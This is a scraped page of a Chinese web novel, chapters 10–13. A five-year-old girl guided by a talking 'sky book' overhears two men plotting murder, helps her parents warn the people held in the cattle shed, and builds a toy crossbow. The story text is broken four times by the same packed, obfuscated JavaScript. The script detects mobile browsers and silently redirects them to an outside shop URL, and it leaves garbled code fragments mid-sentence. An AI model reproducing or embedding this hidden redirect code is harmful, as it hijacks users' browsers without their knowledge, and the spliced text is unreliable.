;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958574|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌,这下更静了,所有人都停下了动作,偷偷用余光打量着这一幕,脸上满是惊讶。铁蛋几个孩子,更是直勾勾地盯着王钰碗里的菜,咽了咽口水。 李菊花这才反应过来自己做了什么,脸颊微微一热,轻咳一声,骂道:“看什么看?她是你们小叔唯一的姑娘,正是长身体的时候,吃得少了怎么行?你们都学一学她,我一带她出去,村里人都是夸她的,你们一出去,村里人都是上门找说法的!” 骂完,她才继续往下分菜。 以往分完菜总能吃得干干净净的饭盆,今天居然还剩下了一点肉末。 小孩子们的目光都黏在了那点肉末上,像是饿了许久的小猫,直勾勾的。 李菊花扫了众人一眼,最后像是无意一般,把剩下的肉末全都舀了出来,一大半放进了王建军碗里,一小半则打进了王钰的碗里,然后大声说道:“好了,都吃饭吧,别愣着了。” 其实今天的饭菜已经比往常丰富多了,有肉末炒白菜,对于常年吃粗粮的李家来说,已经算是改善伙食了。 大家纷纷低下头,狼吞虎咽地吃了起来,像是在比谁吃得快,生怕慢了就没了。 也就王钰、王建军和刘向华三人,吃相还算斯文。 就在大家吃得正香的时候,突然响起一声软糯的童音:“奶奶,你多吃点肉。” 众人纷纷抬头,只见王钰用小筷子夹起自己碗里最大的一块肉,小心翼翼地放进了李菊花的碗里。 接着,她又分别给王守业、王建军和刘向华各夹了一块,奶声奶气地说:“爷爷奶奶,爸爸妈妈,你们多吃点,身体才会好。” 李菊花神色复杂,接着脸上就露出了欣慰的笑容:“建军,你闺女跟你小时候真像啊!你闺女甚至比你小时候还孝顺啊,你小时候只舍得分野果给我吃,可舍不得分肉给我吃。” 王建军(小时候因为野果太酸而分给李菊花吃)脸上露出一个憨厚的笑容:“妈,现在日子好了,您也该享福了。” 王钰(因为肉做的难吃而分给长辈吃)脸上也露出羞涩的笑:“奶奶,我会努力让你天天吃肉的。” 这两句话听得李菊花心里暖烘烘的。 刘向华早就知道父女俩的德性,瞥了一眼两人后,就继续低头吃饭了。 而旁边的王大伯和王二伯听到李菊花说这话,突然怜悯的看了一眼自家一无所知正在傻乐的儿子/女儿。 果然,李菊花突然话锋一转:“铁蛋!你们几个就知道吃饭,我养了你们那么多年,结果你们还没你们小妹妹懂事!那些肉都不知道吃到哪里去了!” 铁蛋等人饭都没咽下去,就被劈头盖脸骂了一顿,怎么了?怎么突然骂他们了?他们什么都没做啊? 李菊花看到他们呆呆愣愣的样子,更没好气了,怎么之前没发现他们这么傻。 王大伯和王二伯:看吧,就知道妈会骂人,想当初他们小的时候,只要王建军被夸了,下一秒他们就会挨骂。 吃完晚饭,坐了几个小时牛车的王建军三人都累得不行,洗漱完就准备休息了。李菊花特意让王大伯母把房间收拾得干干净净,还铺上了家里最新的一床褥子,不愧是家里最受宠的儿子的待遇。 11. 捉迷藏 第二天早上,王钰是被窗外的太阳晒醒的。她迷迷糊糊地睁开眼,发现王建军和刘向华都已经不在房间里了。 王钰在床上发了会儿呆,才慢吞吞地爬起来,揉着眼睛往外走,想找点东西垫垫肚子。 院子里静悄悄的,只有李菊花一个人在忙活,她正坐在小板凳上择菜,旁边放着一大筐绿油油的青菜。 看到王钰起床了,李菊花瞥了她一眼,随即低下头继续择菜,嘴里却说道:“你这丫头,还真是跟你爹一模一样,连起床都这么晚,真是好的坏的都学了个全。”话里虽带着点嗔怪,却没了最开始的刻薄,反而多了几分亲昵。 王钰没说话,只是对着李菊花露出一个腼腆又乖巧的笑容,那双大眼睛弯成了月牙,看着就让人心里发软。 李菊花被她笑得没了脾气,指了指厨房的方向:“灶上还温着一个红薯,你赶紧拿去吃吧,别饿坏了。” 王钰从厨房拿红薯之后,就拖了个小板凳,坐在李菊花旁边,小口小口的吃。 这边红薯还没吃完呢,铁蛋就回来了。 铁蛋刚从外面回来,满头大汗,拿起院子里的葫芦瓢舀了一瓢凉水,“咕咚咕咚”灌了下去,喝完就要往外走,看样子是还要继续出去玩。 李菊花连忙喊住他:“铁蛋,等等!你带着你小妹妹去村口玩玩,待在院子里闷得慌。” 铁柱愣了一下,看了看王钰,又看了看李菊花,不敢违抗,只好点点头:“哦,好。” 王钰只好捧着剩下的半个红薯,跟着铁蛋去村口玩。 两人来到村口,这里聚集着七八个小孩,看样子和铁蛋都玩的挺好的样子。 小孩子的友情就是来得莫名其妙,一伙人叽叽喳喳说了一会话,就开始玩起捉迷藏了。 双马尾小姑娘背对树干数数:“一、二、三……” 孩子们立马四散躲藏。 王钰不熟悉这里的环境,先瞅了瞅草垛,里面已经钻了两个。 又跑去找柴房,门被锁着,甚至还有人躲到树上了,但她不会爬树。 眼看时间越来越少,她急得小眉头皱了皱,忽然瞥见不远处一户人家门口摆着个厚实的木箱子。 那箱子比她还高些,王钰踮着脚尖推了推,没推动,又绕到旁边,借着土墙的劲儿往上蹭,小胳膊小腿使劲儿扒着箱子边缘,费了好大劲才爬进去。 箱子盖子沉得很,她咬着牙往上掀了条缝,钻进去后再慢慢合上。箱子壁做得厚实,外面的喧闹声一下子弱了大半,只剩她自己轻轻的呼吸声。 “找到你了!大丫!” “铁蛋!你爬那么高,我都看着啦!快下来!” 陆陆续续,大家都被双马尾女孩找到了,就只剩下王钰了。 “王钰,你在哪?” “王钰,我看到你了!” 怪不得她找人那么厉害,原来使诈了。 不管外面怎么喊,王钰都不出声。 随着双马尾女孩的声音越来越近,王钰的心跳的越来越快。 忽然,箱子猛地一晃,她扶住箱子两边,整个人跟着箱子一起被抬了起来! “黄伯伯,你有没有看见王钰?”双马尾的声音就在左耳边,王钰吓得大气不敢出。 紧接着,一个男人的声音响起:“王钰是谁?没瞧见啊,就我们俩。” 听到这个,王钰更是一动不敢动,生怕发出一点动静。 箱子大概晃了一两分钟吧,王钰就感觉自己被放下了,两个男人的声音围绕着自己。 刚才回双马尾女孩的声音又响起:“这箱子怎么这么重,大哥,里面装了啥?” “没装啥,我让木匠把箱子做的厚实点,应该是这个问题。” “哦,怪不得那木匠叫我们两个人来搬。” 过了一会,两人交流的声音又响起。 年轻的人:“大哥,那老头还没死啊,今天我去县里,干爹让我们动作快点。” 另一道声音听上去年纪稍微大点:“着急也没用,他们知道我们会有动作,现在都抱团一起行动,咱们总不能上去一口气给他们全干掉吧?能干就干,干不了就算了。” “那能行吗,等他们平反,咱们肯定没有好果子吃。” 年纪大些的嗤笑一声:“怕啥,逃呗,干爹这些年可没少分东西给我们,咱们到时候把那些东西挖出来,直接溜到港城去,去港城吃香的喝辣的,那不比在这里舒服啊。” 年轻的人笑道:“那确实不错。” 随后,两人就走远了,直到王钰再也听不到两人的声音。 王钰从刚才的对话中立刻判断出刚才那两人不是什么好人,就在她犹豫要不要出来的时候,天书突然出声:【小宝,快,出来,等会他们还会回来的。】 听到这话,王钰立马手脚并用地去掀盖子。她借着箱子里仅有的空间使劲儿,小脸憋得通红,总算把盖子掀开一条够她钻出去的空间。爬出来后,她还不忘把盖子轻轻合上,拍了拍身上的灰,小眼珠转了转,找了个柴堆躲起来。 果然,没过几分钟,院子的门打开了,那两个男人又出现了,他们把箱子搬进院子里。两人还说说笑笑的,看上去比刚才还高兴,王钰离他们有些远,只能隐约听见几个模糊的词“金子”“宝贝”“港城”,听得王钰特别好奇。 但可惜,王钰没有胆子闯进院子里听。让天书又检测了一遍之后,王钰就拍了拍身上的灰,准备走了。 索性刚才捉迷藏的位置不远,王钰很快找到了地方。 看到王钰出现了,铁蛋松了口气,要是让奶知道他差点把王钰弄丢了,他得被扒一层皮!别以为他是男娃就不会挨打,他奶照打不误,家里唯二没挨过打的,就只有王建军和昨天才回来的王钰。 中午,李菊花就像一只昂首挺胸的带着一家人去吃席了。 在路上,她嘴里还不停地念叨:“一定要给我狠狠吃,连都菜叶子都要咽进去,谁要是这时候吃饭不积极,小心点皮。” 大人们没什么反应,小孩子们倒是特别积极,大声回答:“是!奶奶。” 走了半个时辰才到王大爷爷家,院子里挤满了人,灵堂设在正屋,棺材前面,王大奶奶趴在上面嚎啕大哭,声音撕心裂肺:“老头子啊,你怎么就走了呀,留我一个人可怎么活……” 她的几个儿女站在旁边抹眼泪,嘴里不停地劝,别管心里怎么想,反正脸上都是两眼通红一副伤心的模样。 看着王大奶奶整个人趴在棺材前面大哭,仿佛想跟他一块去了。 李菊花恶毒的想:如果真能一块去了就好了,这老太太也不是什么好人。 但她知道,这人就是在装样子,她可是知道,王老头可没少打她。 正常人可能看到他们这副模样,心里幸灾乐祸一下就得了,但李菊花是谁,她可是村里中最难缠的老太太。 她凑上前,阴阳怪气道:“哎呦,大嫂,也不用这么伤心,你没过两年就能下去见大哥了,到时候你们就团聚了,你要是真想大哥,现在也能下去找他。” 王老太哭懵了,没反应过来,倒是王老太的小儿子王志强立马红了眼,指着李菊花怒吼:“你们平常欺负们就算了,现在我爸的葬礼上,你们还是欺负我妈是吗?我跟你们拼了!” 瞧瞧这话说的,立马给自己身上套上小白兔的皮了,不知道的还真以为王志强一家被欺负惨了呢。 李菊花一点不怵,双手往腰上一叉,声音更高:“哎呦,我就是刀子嘴豆腐心,我就是想关心关心你妈,不想让她这么早就死了,你们家连个带把的都没有,将来死了都没人烧纸哦。” 王老太一家不知道怎么回事,几个儿子生的都是孙女,这在传统的村里人看来那是遭报应了,以后要绝户咯。 这一下就戳到王志强的痛处了,气得他脸都紫了,却说不出反驳的话。 “好了好了!”族里德高望重的王老爷子咳了一声,“今天是办丧事的日子,有啥恩怨回头再说,别在这丢人现眼!” 李菊花哼了一声,悻悻地住了嘴,拉着家人找地方坐下,眼睛却直勾勾地盯着厨房方向,就盼着开席吃荤菜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958575|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许玉珍没想到自己来送个包子,就碰上了这个场面,看着尖酸模样的李菊花,许玉珍微微皱起眉头。 旁边传来一道声音:“珍珍姐,让你看笑话了。” 许玉珍扭头一看,是王洁,她这个身体之前的好朋友。 许玉珍上个月刚穿过来,因为家里一贫如洗,于是就准备做一些包子去黑市上卖。王老太他们家就在许玉珍隔壁,尝过一次许玉珍做的包子,这次葬礼就请许玉珍做一些小包子作为葬礼上的荤菜。 王洁脸色苍白,眼里还含着泪,仿佛十分伤心:“没想到他们在我爷爷的葬礼上都要闹,村里人也偏帮他们。” 许玉珍刚穿过来没多久,虽然有原主的记忆,但是对于村里的这些关系还是没理清。 隐约知道王洁她们家好像确实和一户人家关系不好,但是在人家葬礼上闹,好像确实有点过分了。 本着少说少错的原则,许玉珍尴尬的笑了笑,举起手里的篮子:“来,包子都在里面了,你们看看有没有问题。” 王洁接下篮子:“你,我哪有不放心的,珍珍姐,真是抱歉啊,最近家里事情实在太多了,我没空去找你了。” 许玉珍巴不得她别来找自己呢,万一发现她不是原装的怎么办,她随便找了个理由,就赶紧溜了。 王洁看着许玉珍离开的背影,总觉得许玉珍怪怪的,算了,等过几天再去找她吧。 这场席可算是让李菊花满意了,不仅怼了王老太和王志强,还看到那一大家子人哭晕过去的模样,真爽啊。 席上的菜是也好,居然有几样荤菜,那个肉包子做的最好吃,就是太小了,果然,王老太还是那个王老太,抠门的不行。 下午,王建军和刘向华就在家了,大人们除了李菊花都去上工了,王建军和刘向华就带着王钰在家休息。 王钰看到李菊花出门了,悄悄朝两人招手,小声说:“我早上和铁蛋玩捉迷藏的时候……” 她把早上碰到的两个人的对话,一字不落的复述了一遍给两人听。 听完,王建军和刘向华两人面面相觑。 最后,是王建军打破了沉默:“这事咱们要管吗?这可能是好几条人命。” 刘向华沉思了一会:“咱们管不了,不知道那两个人背后是谁,但肯定势力不小。” 王建军:“这事闹的,怎么一回来就碰上这种事。”王建军的道德水平刚好卡在救人和漠视之间。 王钰举起自己的小手:“要救!书上说了救人一命胜造七级浮屠!” 刘向华看了一眼王钰,随即狠狠揉了揉她的头发:“上了学就是不一样,都会用这么复杂的俗语了。” 说完,她看向王建军:“救吧,不过得想想办法,万一咱们家被搭进去就完了。” “建军你认识那两个抬箱子的兄弟吗?” 王建军点点头:“应该是村口那边姓黄的外姓人,听说是之前逃荒过来的,家里死的就剩下他们两个人了,平常看上去很老实的,连磨洋工都不会。” 刘向华感叹:“这就是会咬人的狗不叫啊,谁能想到这么老实的两个人背地里想的是怎么杀人,要不是小宝撞见,我都不敢相信。” 刘向华继续问:“那牛棚那些人呢?怎么样?接触过吗?如果是真的坏人,咱们还是别冒着危险救了。” 王建军摇摇头:“没接触过,他们被下放的时候,我已经去县城了,听我妈说过一次,好像几个人话都很少,身体都很差,好在大队长事不多,把他们丢到牛棚里让他们割牛草就不管他们了,如果像别的大队那样天天批斗的,他们都活不到现在。” 刘向华点点头,心里有了思绪:“咱们也没什么本事,就偷偷丢个纸条提醒一下他们吧。” 王建军点点头,这确实是最安全的法子了。 王钰在旁边疯狂举手:“我也要去!我也要去!” 刘向华掐了一下王钰的小脸蛋:“别想了,小孩子晚上好好睡,别掺和这些事,爸爸妈妈会处理好的。” 王钰噘噘嘴,心里却有了别的主意。 12. 偷偷提醒 夜深了,王家屋里一片寂静,王建军和刘向华的房间突然传来窸窸窣窣的响动。两人摸黑换上衣服,刘向华从枕头底下摸出张折叠的纸条,小心翼翼塞进裤兜,这是她白天特意换左手写的纸条,字迹歪歪扭扭,任谁也认不出是她的笔迹。 “轻点,别吵醒小宝。”刘向华压低声音,伸手轻轻拨开房门的插销。 两人蹑手蹑脚跨出门槛,临走前还回头望了眼床上的王钰,她看上去睡得正香。 但他们不知道,他们一起床,天书就在脑海里叫王钰了。 【小宝,起来了,你爸爸妈妈起来了。】 原本还在呼呼大睡的王钰,听到这话,意识一下就清醒了,但是强忍着没有睁眼,也没有发出动静。 等到刘向华和王建军一出门,王钰立马起床,也轻手轻脚的开门离开。 虽然乡下没什么路灯,但好在有月光可以稍微起到照明的作用。 她像只灵活的小耗子,不远不近地跟在后面,鞋子踩在泥土上,只发出极轻的沙沙声。 大概走了十几分钟,空气中飘来淡淡的牛粪味,王建军和刘向华的脚步明显放轻,甚至开始弯腰弓背。 很明显,快到牛棚了。 王钰赶紧找了棵大树躲起来,眼睁睁看着王建军蹲在牛棚门口,把那张纸条从门缝里塞了进去,然后拉着妈妈转身就往回走,脚步比来时快了不少。 等两人走远了些,王钰才踮着脚尖溜过去,原来这就是牛棚啊。 看了一两秒后,她从口袋里摸出个小小的粗布包。 听别人说,这些人都是文化人,但是被坏人陷害现在吃不饱穿不暖,她就特意拿出了一部分自己的零嘴。 她屏住呼吸,刚把布包往门缝里塞,突然,手一抖,布包掉在地上,发出一声轻响。这声音在寂静的黑夜里,简直像炸了个响雷! 王钰吓得心脏怦怦直跳,拔腿就跑,小短腿倒腾得飞快,身后的风声都跟着响。 跑了没两三分钟,前方拐角突然窜出个人影,她差点叫出声,嘴却被另一只有力的手捂住了。 王建军:“别叫了,是我们。” 王钰缓过神来,这才发现这两个人是自己的爸爸妈妈,顿时松了一口气,但又生气起来:“你们突然弹出来吓我干嘛!” 刘向华面无表情:“那你怎么不说自己偷偷溜出来跟在我们背后?” 王钰被问的心虚看向地面:“我好奇嘛。” 刘向华狠狠戳戳了一下王钰的脑门:“我们办事,你个小屁孩跟着凑什么热闹?这黑灯瞎火的,摔着了怎么办?迷路了哭都没地方哭!” 王钰的头越来越往下低,她乖乖道歉:“对不起妈妈。” 看到王钰好像真的认错了,刘向华也没有揪着不放:“行了,不说你了,你还真是有本事,这么黑,居然能一路跟着我们,我听到后面有动静都被吓了一跳,结果一看,居然是你。” 王建军打了个哈欠:“行了,回去吧,这大半夜干这事,困死了。” 第二天一早,王建军和刘向华去地里帮家里人干活了,家里又只剩下李菊花一个人了。 看着王钰又准备去找铁蛋他们玩的样子,天书赶紧劝到:【别玩了小宝,咱们先学习好不好?你是不是好久都没看动画片了?】 王钰有些犹豫:【可是和铁蛋他们只能这几天一起玩诶,动画片随时都可以看。】 天书不甘心,继续劝:【可是你好好学习,等我升到二级,我就可以偷偷帮你买零食了,都是很好吃,你没吃过的零食哦。】 王钰还是没兴趣:【那我晚两天学习也不要紧嘛。】 天书:【那你不想赢小胖吗?上次打鸟你可是输给他!你发誓要赢过小胖的。】 早就被抛之脑后的誓言,终于被天书提起了。 王钰一听,里面有斗志了,拿出书本准备学习,就算是来奶奶家,王钰也没忘记带书(实际上是当时收拾东西的时候,天书一直在提醒)。 天书看着王钰学习的样子,担心她又坚持不了多久,它提议道:【小宝,要不我们先做简单的?比如先做一个只要轻轻拉动,就可以射的很远的东西?】 王钰眼睛一下就亮起来了:【好!那我就先做那个。】 天书:【已为你检索资料——弩/枪制造。】 王钰翻开资料,虽然还是很多看不懂,但是显然要比之前的枪械制造要好懂一点。 “扳机是什么呀?” 天书:【是一按就能让箭射出去的东西。】 王钰点点头,开始在作业本上歪歪扭扭地画起来。 因为这个图纸很多零件她都没有,因此她没有照搬图纸,而是自己琢磨起来,哪些地方可以省略或者替代。 扳机的位置也得改改,她在弩身中间画了个小杠杆,一端连着弓弦,一端伸出外面,还在杠杆下面画了个小弹簧,嘴里嘀咕着:“这样按下去,弹簧弹起来,弓弦就松开啦!” 看着王钰认真学习的模样,天书欣慰的擦了擦眼泪,孩子长大了,能一口气学习这么久也不吵着要看动画片了。 太阳慢慢移到西边,堂屋里弥漫着饭香。 王钰还在专注地完善设计图,她给每个部件都标上名字,例如箭槽、扳机、弹簧,虽然字写得东倒西歪,但每个部件的位置和功能都标得明明白白。最后,她在纸的最上面,一笔一划写下“打败小胖”,写完还得意地拍了拍本子,仿佛已经看到自己赢了小胖的模样。 晚饭前,王建军和刘向华扛着锄头回来了,身上沾着泥土,王钰举起手里的作业本给刘向华看:“妈妈,你看!” 刘向华接过本子,表情如王钰想象一般的惊讶,王钰眯起眼睛,仰起头,准备接受来自妈妈的权威夸奖。 “哇,小宝,学校里还上美术课了吗?你怎么画了颗树吗?是奶奶这边的树吗吗?画得、画得真有特色啊!” “啊?”王钰傻眼了。 看到王钰这副模样,刘向华心里暗道不好,赶紧把本子递给王建军,王建军接过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958576|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烫手芋头,开始头脑风暴:“额,啊,我知道了,小宝这画得是不是飞机?画得真好看啊,爸爸以后要坐小宝设计的飞机……” 看着自己越说,王钰脸上的表情越难看,最后甚至眼泪开始在眼眶里面打转,王建军说话的声音越来越小越来越小。 李菊花来找王建军,看到这一幕,拿起王建军手上的本子:“这是咋了,哟,这树嘛?小闺女画的啊?画得还挺像的,就是为啥旁边还有一些字?这字写得跟我当初扫盲的时候写的一样丑哈哈哈。” 听到这话,王钰终于忍不住哭了。 王建军被这哇的一声吓得有些手忙脚乱,他赶紧抢过本子,把李菊花推走:“妈,你先去看看饭有没有做好。” 刘向华赶紧抱起王钰,轻轻拍着她的后背:“好了好了,小宝别哭了,刚开始学写字都是这样的,妈妈刚开始学写字的时候,也是一样丑的,以后多练就好看了。” 王钰止住了哭声,哽咽的问道:“真的吗?那画画呢?你刚开始画画的时候,也这么丑吗?” 刘向华咳了咳:“是的,以后多练练就好看了,那现在小宝能告诉我,你这本子上画的是什么吗?” 王钰说:“是弩的设计图,爸爸说我力气小才射不中鸟,我要用这个打鸟,打败小胖。” 刘向华偷偷瞪了一眼王建军,然后摸摸王钰的脑袋:“原来是这样,那小宝给我介绍介绍这三个设计图好不好?” 王钰来了精神:“这里是箭槽,要挖深一点,不然箭会掉。这里是扳机,按一下,弹簧弹起来,弓弦就松开,箭就能射得很远……”她讲得条理清晰,连杠杆和弹簧的配合都解释得明明白白,完全不像个五岁的孩子。 刘向华边听边点头,还一边夸赞:“啊,原来是这样啊,小宝真聪明,这样的方法都能想得到,不错,妈妈都想不到,那小宝做的时候要小心,不要伤到自己哦。” 一通介绍下来,王钰总算被哄好了,稍稍破碎的自信心,也立刻被刘向华拿502粘好了。 说道最后,王钰高兴的说:“妈妈,我等会吃完饭就去做!” 刘向华赞同点点头,虽然她不知道能不能成功,但是用于尝试是个好品质。 王钰见刘向华点头了,更起劲了:“妈妈,等我以后做出来了,我天天打鸟养你!” 刘向华乐呵呵的点头。 王建军也伸头过来凑热闹:“那我呢?小宝,那我呢?” 王钰把他的头使劲推开:“才不要养你,臭爸爸!坏爸爸!” 王建军装模做样的抹眼泪:“呜呜呜,那爸爸好伤心哦,我的小宝不要爸爸了。” 王钰早就习惯了王建军这副模样,朝他吐了吐舌头。 最后,王钰有些趴在刘向华耳边问:“妈妈,你能不能教我写字?” 刘向华看向王钰,看来她还是有些介意写字丑和画画丑这件事的,刘向华揉了揉她的脑袋:“当然可以呀,小宝这么好学,以后肯定能写出漂漂亮亮的字,画出更棒的设计图!” 13. 做出弩枪 画好设计图之后,王钰也不出去找铁蛋他们玩了,就在院子里捣鼓这弩箭。 乡下的院子里有的是零碎木料,王钰直奔角落的柴火堆,小手扒拉着一根根木柴,嘴里念念有词:“这个不行,这个也不行。” 扒拉了好一会儿,她终于拖出一根手腕粗的杨木枝,又直又结实。 王钰把木枝抱在怀里,高兴地举起来:“就你啦!正好做弩身!” 接着她又在杂物间找出一些旧工具。 王钰拎着工具跑回院子,把杨木枝放在地上。 刚要动手,天书就提醒:【小宝,先画条线再削,这样削出来更整齐。】 王钰一拍脑门:“对哦!” 她赶紧跑回屋,从自己的包里里翻出铅笔,在杨木枝上尽力画直线条。 画完草图,她一点一点顺着线往木枝一头削去。 力气小就把刀子举高些,借着下落的劲儿削,削得不均匀就用刨子慢慢磨,十分耐心的样子。 忙活了近一个时辰,总算是做的个雏形出来。 “接下来装弹簧!”王钰拍了拍手上的灰。 刚把弹簧放在木枝上比划怎么固定,就听到铁蛋在喊:“小宝!出去玩啊!我们去抓鱼!” 王钰听到“抓鱼”两个字,脚底下忍不住动了动,心里直痒痒。 可瞥见手里的弩,她坚定了一下,大声喊:“不去啦!我在做很厉害的东西,等做好了给你们看!” 铁蛋嘟囔着:“这堆木头有什么好玩的。”然后就转身走了。 忙活了两小时,一把简陋却五脏俱全的弩终于做好了! 王钰举着弩,跑到院子中间,瞄准了墙上挂着的空竹篮,手指一扣扳机,“咻”的一声,木箭射了出去,正好擦着竹篮边缘射向了后面的墙,但又因为箭头不是很锐利,只在墙上留下一个印子,就掉下来了。 “哇!好厉害!”王钰高兴得跳起来,跑到墙根捡起木箭,又举着弩对准院子里的石头,一次次试射,还时不时调整弓弦的松紧。 试了几次,她挑了根最尖锐的木箭,拉满弓弦,瞄准院子外面的大树,竹箭带着风声射出去,正好钉在了大树的树干上,距离足有十几步远! 王钰叉着腰,得意地仰起头:“我就说我能做到!” 她举着自己做的弩还有几支最尖的木箭,跑去河边找铁蛋。 “铁蛋!我做出来了,我们去打鸟!” 铁蛋和哥哥铁柱两人正在河里抓鱼,河里还有不少人也在抓鱼,可能是因为抓鱼的人太多了,两兄弟并没有抓到鱼,篓子里面空荡荡的。 铁蛋听到声音,立马抬头,只见王钰手里抱着一个很奇怪的东西。 铁蛋好奇的问道:“小宝,这是什么东西?” 王钰骄傲说:“这是我做出来的弩,可以把木箭射的好远!我们赶紧去用这个射鸟吧!咱们晚上吃鸟肉!” 铁蛋先是惊讶,接着是遗憾:“哇,好厉害!可是咱们村没有鸟啊。” 王钰脸上的笑容瞬间僵住了:“怎么会没有鸟呢?鸟不是到处都有吗?而且我爸爸说他小时候经常拿弹弓打鸟啊?难道我爸爸骗我?” 铁蛋年纪小不知道该怎么解释,倒是旁边一同抓鱼的王来福替他解释了:“哈哈哈你爸还真没说错,但是也正是因为你爸,才让咱们这里没鸟的。” 王钰等人好奇的看向那个开口的年轻男人。 王来福站直身子继续解释:“你爸当初连着一个星期都拿弹弓打鸟回家,村里人看了都眼馋,跟着有样学样,都去打鸟了,渐渐的,这里就没有鸟了,偶尔有鸟过来,也很快就会被打下来。” 王钰有些失望,但又很快打起精神来,继续邀请铁蛋两人:“那我们去山上打野鸡怎么样?” 铁柱他们还没说什么呢,王来福先泼冷水了:“你们可别上山,山上有有野猪呢,曾经还撞死过人呢。” 铁柱也犹豫起来:“是啊小宝,山上有野猪,奶都不让我们去山上。” 王钰:“我们不去深山里面,我们就在山脚下面,大丫和二丫不就经常在山脚下面打猪草吗?” 铁柱点点头:“如果是山脚下,那可以去。” 王来福又泼冷水了:“野鸡哪有那么好抓,如果好抓,哪里轮得到你们,而且山脚那根本就不会有野鸡出现。” 王钰扭头:“哼,我肯定可以抓到野鸡,我的弩超级厉害!” 王来福也是个爱逗小孩的,故意跟她较真:“好!你要是能抓到野鸡,我就跟你姓!” 铁柱在旁边提醒:“来福叔,你本来就跟她姓。” 王来福一愣,随即拍了下脑袋,有些尴尬地瞪了铁柱一眼,又转向王钰:“你这叫什么话,什么叫我跟她姓。好了不跟你扯这个了,反正就凭你手上这木头玩意,你们是抓不到鸡的,不说那玩意好不好使,看样子,估计用两次就要散架了,有这功夫,都能在河里抓条鱼了。” 到了山脚下,果然如王来福所说,根本没有野鸡的踪迹。这一片因为经常有人来捡柴、割猪草,地面都被踩得光秃秃的,草都长得稀稀拉拉的。 王钰可不甘心就这么回去,她眼珠子转了转,拉着铁柱和铁蛋的手,压低声音说:“我们往上面走一点点,就一点点,肯定能找到野鸡。”说着,就拉着两人地往山里走了几步。 重复了几次,等铁柱和铁蛋反应过来,已经走出山脚下的范围了。 铁柱身为三人里面最年长的,立马拉着其余两人的手准备回山脚。 王钰一下就拉住了他的手:“别急铁柱哥哥,我们再待一会,这里也不危险的,而且我有这个。” 王钰举起手里的努枪晃了晃。 “绝对不会有危险的!” 铁柱犹豫再三,最后还是答应王钰再待一会。 王钰她们现在所处的地方是处于山脚上面一些位置,但是又没到深山,这地方也有一些人迹,不算危险。 王钰属于一点找猎物的经验都没有的人,铁柱和铁蛋曾经也只是跟长辈来过几次山上而已。 三人开始寻找野物的痕迹,他们不懂什么技巧,就到处看看。 可能是今天运气确实不错吧,铁柱发现了一只野鸡,他没有叫出声,轻轻的戳了戳王钰:“小宝,那里,那里。” 王钰眼神很好,立马就看到那只只露出半个屁股的野鸡。 她立马举起手里的弩,搭上削的最尖的木箭。 三人都屏住呼吸。 “噗呲”一声。 木箭扎进了野鸡的屁股上,野鸡受了惊,“咯咯咯”地疯狂大叫起来,扑腾着翅膀到处乱窜,那支扎得不算深的木箭很快就被它抖了下来。 “快追!别让它跑了!”王钰大喊一声,率先追了上去。 铁蛋和铁柱也反应过来,跟着一起追。 野鸡受了伤,跑不快,三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958577|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子在后面紧追不舍,追了好十几米,终于抓住了它。 看着被按得动弹不得的野鸡,铁柱和铁蛋不约而同地发出感叹:“小宝,你太厉害了!这弩真的能打到东西!” 接下来,三人又开始寻找野物的踪迹,可惜,后面就没那么好了,不过捡到了几个野鸡蛋,估计是刚才那只野鸡下的蛋。 就在三人准备下山的时候,忽然旁边的草丛里又传来了一些声音。 铁蛋的眼神一下就亮起来了,立马拍了拍王钰的背:“是不是野鸡啊?” 王钰也兴奋起来,两人踮着脚,一步一步慢慢靠近,离草丛越来越近,越来越近。 突然,“唰”的一声,草丛里窜出来一条蛇!那蛇有小孩的手臂那么粗,身上带着灰褐色的花纹,吐着分叉的舌头,看着就吓人。 蛇刚好朝着最前面的铁蛋窜了过去,铁蛋吓得“哇”的一声大叫,转身就跑,腿都软了,差点摔倒。 王钰也被吓了一跳,小脸瞬间白了,心脏“扑通扑通”跳得飞快,但她很快反应过来,举起手里的弩,对着正在爬动的蛇瞄准。 好消息是,她真的射中了。 